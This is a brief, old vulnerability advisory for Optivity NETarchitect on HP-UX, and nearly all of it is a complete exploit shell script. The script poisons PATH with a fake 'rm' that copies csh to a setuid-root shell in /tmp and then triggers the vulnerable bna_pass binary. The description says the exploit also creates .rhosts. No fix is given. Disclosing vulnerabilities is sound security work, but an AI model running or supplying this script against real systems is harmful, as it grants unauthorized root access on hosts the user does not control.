Vulnerability

    Optivity NETarchitect

Affected

    HpUX

Description

    Loneguard found following.   It exploits Optivity NETarchitect  on
    HP making .rhosts.

    #!/bin/sh
    #
    # bna.sh - Loneguard 03/03/99
    #
    # Poision path xploit for Optivity NETarchitect on HPUX
    #
    cd /tmp
    touch /usr/bna/tmp/.loginChk
    PATH=.:$PATH;export PATH
    cat > rm << _EOF
    #!/bin/sh
    cp /bin/csh /tmp/kungfu
    chmod 4755 /tmp/kungfu
    _EOF
    chmod 755 /tmp/rm
    /opt/bna/bin/bna_pass

Solution

    Nothing yet.